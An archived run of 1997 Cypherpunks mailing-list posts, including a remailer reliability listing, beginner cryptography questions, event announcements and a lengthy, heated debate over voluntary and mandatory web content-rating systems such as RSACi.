If you are not useing a well know and strong cyper method I suggest you
post details of your meathod to sci.crypt where thay will (most likely)
pick holes in it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument






From rah at shipwright.com  Mon Jul 28 04:48:29 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 28 Jul 1997 19:48:29 +0800
Subject: House Committee Hearing on Money Laundering
Message-ID: 




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: jmuller at brobeck.com (John D. Muller)
Mime-Version: 1.0
Precedence: Bulk
Date:  Sun, 27 Jul 1997 20:32:04 -0700
From: jmuller at brobeck.com (John D. Muller)
To: Multiple recipients of 
Subject:  House Committee Hearing on Money Laundering

     For those with a strong stomach for testimony on the need to
     strenghten money laundering laws and extend know-your-customer
     requirements to non-banks, material from last week's hearings on money
     laundering and the drug trade by the House Judiciary Committee's
     Subcommittee on Crime are now on-line at
     http://www.house.gov/judiciary/364.htm

     John Muller
     jmuller at brobeck.com
----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


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--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From rhayden at orion.means.net  Mon Jul 28 06:15:09 1997
From: rhayden at orion.means.net (Robert A. Hayden)
Date: Mon, 28 Jul 1997 21:15:09 +0800
Subject: NSA leak (fwd)
In-Reply-To: <19970727234600.3398.qmail@squirrel.owl.de>
Message-ID: 



FYI:  I was only passing along information whcen I forwarded the original
message from fight-censorship. 

Contrary to the hate mail I'm getting, I am not an NSA spook nor am I an
agent for some other TLA.

Please knock off the mailbombs, it's rather childish and tackey.
 
=-=-=-=-=-=
Robert Hayden				rhayden at means.net
IP Network Administrator		(612) 230-4416
MEANS Telcom






From rah at shipwright.com  Mon Jul 28 06:18:28 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 28 Jul 1997 21:18:28 +0800
Subject: DCSB: Duncan Frissell and MarketEarth
Message-ID: 




--- begin forwarded text


X-Sender: rah at mail.shipwright.com
Mime-Version: 1.0
Date: Mon, 28 Jul 1997 07:36:46 -0400
To: dcsb at ai.mit.edu, dcsb-announce at ai.mit.edu
From: Robert Hettinga 
Subject: DCSB: Duncan Frissell and MarketEarth
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga 

-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                         Mr. Duncan Frissell,
                         Frissell Associates

                          "Markets Rule! OK
            Bet on MarketEarth -- Bet Against Bureaucracy"



                        Tuesday, August 5, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Frissell, the Net's most enthusiastic Technoptimist will answer such
questions as:  Why did Central Planning, Deutsche Telecom, and X.25
lose and the Market, telecoms competition, and TCP/IP win?  Can banks
compete with nonbanks?  Why controlling the Nets is as hard as controlling
the thoughts of other people.  Why popular measures like immigration
control are doomed.  What do such phenomenon as the Jewish Holiday
Effect, the Sack Full of Cats in the River Effect, the Canadian Air
Service Effect, the Saturday Morning Shopping Trip Effect, and the
Taiwanese Privatization Effect tell us about the future of government
and the individual?  Why things are not the same and never will be again?
Why the Market is "X-The Unknown," "The Blob," -- and why even Steve
McQueen couldn't save us from it?

"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous

Mr. Frissell, an Attorney, privacy consultant, and author, has worked
in what he insists on calling the "Right Wing Nut Investment Community"
for more than 20 years.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, August 5, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, August 2, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga,  .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to  .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to  .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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=gSKM
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from this list, send a letter to: Majordomo at ai.mit.edu
In the body of the message, write:  unsubscribe dcsb-announce
Or, to subscribe,           write:  subscribe dcsb-announce
If you have questions, write to me at Owner-DCSB at ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From raph at CS.Berkeley.EDU  Mon Jul 28 07:04:26 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 28 Jul 1997 22:04:26 +0800
Subject: List of reliable remailers
Message-ID: <199707281350.GAA26934@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{'cyber'} = ' alpha pgp';
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = ' newnym pgp';
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = " cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = ' newnym pgp';
$remailer{"bureau42"} = " cpunk mix pgp hash latent cut ek";
$remailer{"neva"} = " cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = " mix";
$remailer{"medusa"} = " mix middle"
$remailer{"McCain"} = " mix middle";
$remailer{"valdeez"} = " cpunk pgp pgponly hash ek";
$remailer{"arrid"} = " cpunk pgp pgponly hash ek";
$remailer{"hera"} = " cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = " cpunk pgp hash latent cut post ek";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 28 Jul 97 6:49:34 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
redneck  config at anon.efga.org              #*-**#*##-+    23:42  99.99%
nym      config at nym.alias.net             ######**-+##  1:09:39  99.97%
htuttle  h_tuttle at rigel.cyberpass.net            #*###      :42  99.96%
cracker  remailer at anon.efga.org           *+ -++++++-+    39:07  99.92%
hera     goddesshera at juno.com             +-----------  4:13:46  99.92%
weasel   config at weasel.owl.de             +-++++++++-   1:31:07  99.87%
squirrel mix at squirrel.owl.de              +-+++++-++-   1:30:29  99.86%
arrid    arrid at juno.com                   +--- *+*+++*    49:18  99.84%
winsock  winsock at rigel.cyberpass.net       .-+-------+  4:57:25  99.65%
cyber    alias at alias.cyberpass.net         ***+****-++    20:17  99.56%
mix      mixmaster at remail.obscura.com      ** -* -*-++  2:32:46  99.10%
reno     middleman at cyberpass.net           .-+ +  +*++  1:57:53  97.61%
replay   remailer at replay.com                 * ** *       32:46  96.23%
neva     remailer at neva.org                #-*    + +**    39:46  93.10%
jam      remailer at cypherpunks.ca          *        +**    50:05  90.34%
valdeez  valdeez at juno.com                 *.-- +----    4:14:27  89.14%
bureau42 remailer at bureau42.ml.org         *-----        3:34:59  28.56%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From dlv at bwalk.dm.com  Mon Jul 28 07:05:07 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 28 Jul 1997 22:05:07 +0800
Subject: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <99yJae4w165w@bwalk.dm.com>



Guillotine  writes:

> Greetings fellow Cyphers...

I guess that doesn't include me, but greetings anyway.

> I'm creating a new _text_ cryptography program.

Will a user be able to uuencode a binary file and pretend that it's text?

> The encryption algorithm,
> using a symmetrical is going to be as strong as legally allowed,

Better hurry - there are no legal restrictions in the U.S. on how hard you can
make it for internal use, but that may change soon.

> and after
> copyrighting the program,

It's copyrighted the moment you've written it. Some people spend $10
on registering their copyright with the Library of Congress. You can
even file your source code there.

> I'm going to release the source code and explain
> everything about it (since it can be reverse engineered anyways).

That's a commendable idea. However if your program will use reasonable
strng encryption, you should talk to a knowledgeable lawyer before
publishing it in a way which might be construed as "exporting" it.

> The
> reason I'm sending this e-mail to you is my request for more knowledge, and
> if you're like me, then you have an extreme thirst for knowledge!

You sound like you could use some.

[snip]
>                        I was going to call the program AlphaNumeric
> Encryption, but that says pretty much nothing...  I might just call it
> something like Cipher Pad (or Cypher Pad if nobody cares that I use
> "cypher") , since it's only for text encryption.  If you have a better idea
> for a name for this program, then please suggest it to me.

How about "One-Time Sanitary Pad"?

(Note to the list: I have been having little problems indeed (some of my
systems hacks for OS/2 no longer working under Microsquish) but they're
almost entirely fixed or rewritten now.  Microsquish sucks indeed. I'm
glad I have a backup OS/2 box.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






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From love at cptech.org  Mon Jul 28 08:07:51 1997
From: love at cptech.org (James Love)
Date: Mon, 28 Jul 1997 23:07:51 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DCB302.70F58811@cptech.org>



Tim May wrote:
> It is this "crap" and "consequences" we are talking about.

     This "crap" and "consequences" are what is happening before your
eyes.  Law enforcement efforts, new legislation, complaints by church
groups, parents -- pressure on Yahoo and other searching sites, etc.,
being called names.


> There is no requirement that one's writings be labelled as "adult."
> Leastwise, I've read a lot of stuff in my life, and very rarely (if
> ever)
> have I seen much of it labelled as "adult" material.

      Why label it then?  I won't.  I think people should resist labels
on text.  99 percent of the concerns over web pages has to do with
graphics..... I would suggest dealing with the most obvious and
legitimate complains, but drawing a line where it made sense too. 

> >their back.  Those that didn't use the label could just put up with
> the
> >consequences, whatever they are.  I would expect (and hope) that the
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> Such as the multiple years in prison that each of the Thomases got?

     I don't know the Thomases, but did they get "multiple years in
prison" for mislabeling?  Or for something else?

 
> (Again, just what is "mislabelling"? If I feel all children should be
> exposed to sexual materials, or "Huckleberry Finn," whose standards am
> I
> supposed to use if not my own?)

       
     Why would you want to label a book?  There isn't a demand for this
in bookstores and libraries.  Why do this on the Web?


> This means that parents cannot count on any labelling system to
> protect
> their children from finding sexual material, atheistic material, drug
> advocacy material, bestiality advocacy material, and recruitments for
> homosexuality.
> 
> (For the sake of this argument I'm avoiding inclusion of actual images
> of
> things like bestiality and the like, as these may or may not run afoul
> of
> the "obscenity" laws. Not that I support obscenity laws. But all of
> the
> other things are mostly protected under the First Amendment, and
> labelling
> is not required.)

  
         I think labeling of text, in general, is a very bad idea.  I
can imagine some cases where authors might want to 
label some text with an adult tag.  But I don't really think this is
something that should be encouraged.  I don't think this is the hot
button issue that graphics (and films) are.


> As long as ratings are completely and full uncoerced, fine. It's the
> "crap"
> and "consequences" you speak of that worry me. If one of the pieces of
> crap
> is  a $100K civil fine for mislabelling, or one of the consequences is
> 5
> years in jail, then it ain't a voluntary system, is it?



   Well, one might see various forms of mandatory labeling.   And indeed
one might see more and more pressure for more and more complex and
objectional forms of labeling (labeling that seeks to provide more and
more "information" about the content").  

   What is your strategy to avoid RSACi type systems?  To persuade
parents that there is no need to censor kids from graphic images of
sexual acts?  Good luck.  Or to suggest something which addresses the
obvious problems, and takes the steam out of the more ambitious labeling
systems?  Or to hope that the status quo survives because it is too
difficult to construct an alternative (the stategy that most
antilabeling people seem to be relying upon)?  

 
          Jamie

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love at cptech.org






From love at cptech.org  Mon Jul 28 08:26:40 1997
From: love at cptech.org (James Love)
Date: Mon, 28 Jul 1997 23:26:40 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707272057.WAA03141@basement.replay.com>
Message-ID: <33DCB82F.737A3FE4@cptech.org>



Anonymous wrote:
> I'm not labeling my webpage, and no dickhead is going to tell me to.

    I'm not labeling www.cptech.org, but of course, why would I want to?
However, there are lots of people who want to signal the adult nature of
thier web site, of course, judging from the "don't go here if you are't
21" type messages they put on them.  A good, simple adult tagging system
would help these guys do what they apparently already want to do, which
is to signal that the sites are inappropriate for children.  +


    Jamie
-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love at cptech.org






From nobody at REPLAY.COM  Mon Jul 28 08:51:36 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 28 Jul 1997 23:51:36 +0800
Subject: Cryptography Question (I hope it's not off-topic on this list)
Message-ID: <199707281537.RAA09388@basement.replay.com>



  I was thinking about *chaining* remailers and wondered if encryption
of a certain strength could be *chained* in order to make it as strong
as stronger encryption.
  e.g. - If only 56-bit encryption becomes legal, is there a method
of *chaining* several passes of 48-bit encryption which would make it
just as hard to break as 96/192/384-bit (etc.) encryption?

  If this is indeed impossible, then perhaps the government might pass
a law that makes it illegal to encrypt an encrypted file, but experience
seems to suggest that any law passed always leaves a loophole or back
door for inventive people to circumvent it.

  CyberDoc






From sunder at brainlink.com  Mon Jul 28 09:05:59 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 29 Jul 1997 00:05:59 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: 



On Sat, 26 Jul 1997, Tim May wrote:

> As long as ratings are completely and full uncoerced, fine. It's the "crap"
> and "consequences" you speak of that worry me. If one of the pieces of crap
> is  a $100K civil fine for mislabelling, or one of the consequences is 5
> years in jail, then it ain't a voluntary system, is it?
> 
> --Tim May

Of course it's voluntary, citizen unit Tim C. May #0845676FCXV3, it's as
voluntary as filing an 1040 form, and it's certainly as voluntary as
communist countries had voluntary work for teens who would voluntarily go
to work on farms durring their summer vacations.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From whgiii at amaranth.com  Mon Jul 28 09:21:22 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 29 Jul 1997 00:21:22 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <199707281559.KAA06339@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <33DCB302.70F58811 at cptech.org>, on 07/28/97 
   at 09:56 AM, James Love  said:

>   What is your strategy to avoid RSACi type systems?  To persuade
>parents that there is no need to censor kids from graphic images of
>sexual acts?  Good luck.  Or to suggest something which addresses the
>obvious problems, and takes the steam out of the more ambitious labeling
>systems?  Or to hope that the status quo survives because it is too
>difficult to construct an alternative (the stategy that most antilabeling
>people seem to be relying upon)?  

Well there happens to be a little anoying thing called the Constitution of
the Untied States of America. In there there is what is know as the First
Amendment. In this admendment there is a clause that says "Congress shall
pass no law ...".

It should be obvious even to you that RSACi or any other manditory
labeling system it blaitently unconstitutional in direct violation of the
First Amendment.

One can not preserve ones freedoms through comprimise. History has shown
us this time and time again.

I don't know how Tim feels on this but I am not willing to comprimise one
inch on this issue. The little Nazi censors need to be squashed like the
roaches that they are. Make no mistake about it the issue here is not
labeling but censorship. These groups pushing the labeling issue are
intrested in only one thing and that is gaining the power to control what
others can and cannot say. This is only a steeping stone in their grab for
power.

Back in the '30 we had a chance to stop the Nazi's and insted the world to
the easy route of comprimise and paied dearly for it latter on. The same
is true is true now. If we continue to back down and comprimise it will
only encourage them to bigger and bolder grabs for power.

This is the opening shots of the war for freedom of humanity. Either we
fight now for our freedoms or we shall die tomorrow in slavery.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From jim.burnes at ssds.com  Mon Jul 28 09:45:37 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Tue, 29 Jul 1997 00:45:37 +0800
Subject: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707261158.NAA19507@basement.replay.com>
Message-ID: 





On Sat, 26 Jul 1997, Anonymous wrote:

>   What, exactly, is the problem?
>   Are these censorous motherfuckers of the opinion that protecting
> their children from these loudly proclaimed moral threats is not
> worth spending thirty or forty bucks on?
>   Are they saying that your and my rights and freedoms are worth
> less than the thirty or forty bucks it would take for them to
> purchase censoring software?
>   

Absolutely.  You know, I thought that this was all taken care
of when the supreme court ruled that CDA was overly broad and
didn't use the easiest mode of "protecting children".

The easiest mode is obviously shelling out the $20-$40 bucks
on babysitter software.  If parents are not willing to pay
a babysitter $20-$40 bucks a year to watch their children
while they go to the football game then they are guilty
of negligence.

I believe what we are really seeing is an attempt at corporate
welfare.  The censorship companies want us to rate ourselves so
they don't have to do the work.

I also think that the feds are using this as the first move
towards an Orwellian society where the "Policeman" is put
inside of us.

One last thing.  This whole concept of a RSACi approved
"news site" is so Orwellian that it boggles the mind.  It truly
demonstrates the arrogance with which the media treats the people.
They must think were really stupid.

Of course, for the most part they are absolutely correct.

On the other hand, how many people are actually aware of
RSACi much less the "approved news" category?

For what its worth...

Jim Burnes







From news at sldc.ffg.com  Mon Jul 28 10:28:15 1997
From: news at sldc.ffg.com (news at sldc.ffg.com)
Date: Tue, 29 Jul 1997 01:28:15 +0800
Subject: News from the Front (July Issue)
Message-ID: 



An update to our customers and friends on happenings at 
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F O R E F R O N T  -  Taking the Chaos out of the 'Net
http://www.ffg.com		   Newsletter  7/23/97
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I.   News from the 'Front
II.  Hot Tip
III. Special Offer
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From ATU5713 at compuserve.com  Mon Jul 28 10:34:37 1997
From: ATU5713 at compuserve.com (Alan Tu)
Date: Tue, 29 Jul 1997 01:34:37 +0800
Subject: How Does Fortezza Work?
Message-ID: <199707281314_MC2-1BC0-1B2A@compuserve.com>



-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I am writing an article to help people understand the technical and
practical issues surrounding the key escrow debate.  Can someone tell me
how the Fortezza chip works.

I have a 1993 document which is incomplete.  Is the session key K still
encrypted with the unit key U?  And is that whole thing encrypted, with
the serial number, with the family key F?  I'd appreciate some more
current info.  You will be credited in my article.


Alan Tu


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From tcmay at got.net  Mon Jul 28 10:56:46 1997
From: tcmay at got.net (Tim May)
Date: Tue, 29 Jul 1997 01:56:46 +0800
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: 



After reading several of James Love's posts, I think we are either just
talking at cross purposes, or that he hasn't thought carefully about the
constitutional issues. Maybe both. In any case, this'll probably be my last
response to his points.

At 7:56 AM -0700 7/28/97, James Love wrote:
>Tim May wrote:
>> It is this "crap" and "consequences" we are talking about.
>
>     This "crap" and "consequences" are what is happening before your
>eyes.  Law enforcement efforts, new legislation, complaints by church
>groups, parents -- pressure on Yahoo and other searching sites, etc.,
>being called names.

Of course. But some of this "crap" and "consequences" are what we are
fighting, as they are applications of force which make the "voluntary"
labelling standards hardly voluntary at all. If "law enfrorcement efforts"
and "new legislation" are not considered coercion, what is?

And in another post, you cited some sexual material as an example of what
you claimed was "unambiguously adult" material. Now you may think this, and
maybe even may think this, in terms of my personal views, but NAMBLA is
certain to disagree, which means the "unambiguously" part is ipso facto
false. So, again I make the point that a Board of Censors or somesuch must
get involved...I am not advocating this, just reiterating that your point
that official censorship is not needed because some materials are
"unambiguously adult" is incorrect.

I urge you to carefully think about these issues.

>
>> There is no requirement that one's writings be labelled as "adult."
>> Leastwise, I've read a lot of stuff in my life, and very rarely (if
>> ever)
>> have I seen much of it labelled as "adult" material.
>
>      Why label it then?  I won't.  I think people should resist labels
>on text.  99 percent of the concerns over web pages has to do with
>graphics..... I would suggest dealing with the most obvious and
>legitimate complains, but drawing a line where it made sense too.

I wasn't saying I planned to label my writings. I was making the point that
if "crap" and "consequences" (such as the law enforcement actions and
legislation you yourself mention above) befall those who mislabel their
sites, then surely this will not be confined to images alone. The "fisting
and pissing" stuff you cited in another message will be equally unsuitable
for children--many will claim--even if it is in the form of stories,
attempts to recruit, etc.

We have already seen this in the SurfWatch and KiddySafe filter debates,
where the inclusion of certain words is enough to get a site blocked.
(Understand that I am not arguing against KiddySafe's "rights" to do this,
only noting that words are clearly as important to some folks as images.)


>
>> >their back.  Those that didn't use the label could just put up with
>> the
>> >consequences, whatever they are.  I would expect (and hope) that the
>>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>
>> Such as the multiple years in prison that each of the Thomases got?
>
>     I don't know the Thomases, but did they get "multiple years in
>prison" for mislabeling?  Or for something else?

You should acquaint yourself with the Thomas case, as in "Amateur Action."
Any search engine will turn up lots of details.


>
>> (Again, just what is "mislabelling"? If I feel all children should be
>> exposed to sexual materials, or "Huckleberry Finn," whose standards am
>> I
>> supposed to use if not my own?)
>
>
>     Why would you want to label a book?  There isn't a demand for this
>in bookstores and libraries.  Why do this on the Web?

I give up. Really. You seem determined to miss nuances.

I was not making an argument for labeling books...far from it. I was making
the point that many would like to see online materials comparable to "Huck
Finn" labeled. And that this is clearly wrong.

Not wrong if folks want to truly voluntarily label a site containing "Huck
Finn" as being "unsuitable for children" or "offensive to some colored
people," or whatever floats their boat. But wrong if "crap and
consequences" befall anyone who _fails_ to warn children away or who
deliberately "mislabels" (!!) their "Huck Finn" site as being "suitable for
children" when some religious or parents group thinks otherwise.

(To forestall Jim's likely literalist question, "Why do you think "Huck
Finn" is unsuitable for children?," let me state that I don't think it is.
But many school boards and minority groups have said they think it is, and
so it provides a good example of where the voluntary self-labeling is
ambiguous. And, like I said, even the "fisting and pissing" is apparently
ambiguous to NAMBLA.)


>         I think labeling of text, in general, is a very bad idea.  I
>can imagine some cases where authors might want to
>label some text with an adult tag.  But I don't really think this is
>something that should be encouraged.  I don't think this is the hot
>button issue that graphics (and films) are.

We agree. None of us are encouraging it. At least none of us on the
Cypherpunks list, I don't think. You're missing the real point.

The vast majority of Web sites which are now being blocked by the various
Net.nanny filters are mostly of _text_ ! These are the sites discussing
teen pregnancy, birth control, homosexuality, early childhood sexual
experiences, medical advice, incest topics, and so on. Very seldom are
_images_ involved.

The notion that "voluntary self-labeling" would apply only to sites
carrying images is laughable. That you would argue that text-only sites
would not be subject to the "voluntary self-labeling" of PICS/RSAci shows
that you simply haven't thought about this much.

(The recent debate about news organzations being perhaps exempted from
self-labeling their online news is indicative of this...their online
releases are almost solely text, and "adult" images play almost no role in
their products. And yet there is active debate about whether they'll have
to label their stuff. Think about it.)



>
>> As long as ratings are completely and full uncoerced, fine. It's the
>> "crap"
>> and "consequences" you speak of that worry me. If one of the pieces of
>> crap
>> is  a $100K civil fine for mislabelling, or one of the consequences is
>> 5
>> years in jail, then it ain't a voluntary system, is it?
>

>   Well, one might see various forms of mandatory labeling.   And indeed
>one might see more and more pressure for more and more complex and
>objectional forms of labeling (labeling that seeks to provide more and
>more "information" about the content").

Ah, you admit that the "voluntary" labeling will likely become
not-so-voluntary.

>   What is your strategy to avoid RSACi type systems?  To persuade
>parents that there is no need to censor kids from graphic images of
>sexual acts?  Good luck.  Or to suggest something which addresses the
>obvious problems, and takes the steam out of the more ambitious labeling
>systems?  Or to hope that the status quo survives because it is too
>difficult to construct an alternative (the stategy that most
>antilabeling people seem to be relying upon)?

I have no "strategy" for dealing with the censorious tendencies of parents,
just as I have no "strategy" for solving problems they have with their
children watching too much television, or playing video games too much, or
hanging out with the wrong crowd.

These are problems for _them_ to solve, not for me, and not for the government.

(I can't believe I have to explain this.)

>_______________________________________________________
>James Love | Center for Study of Responsive Law
>P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
>http://www.cptech.org | love at cptech.org

It is really scary that someone with your shallow understanding of the
basic, core issues of liberty and constitutionality is apparently a
lobbyist in Washington.

But not surprising.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From dkp at iname.com  Mon Jul 28 11:28:30 1997
From: dkp at iname.com (Dave K-P)
Date: Tue, 29 Jul 1997 02:28:30 +0800
Subject: New Crypto Application
In-Reply-To: 
Message-ID: <33DCE1A9.2C94@iname.com>



? the platypus {aka David Formosa} wrote:

> On Sun, 27 Jul 1997, Guillotine wrote:
> 
> > I'm creating a new _text_ cryptography program.
> 
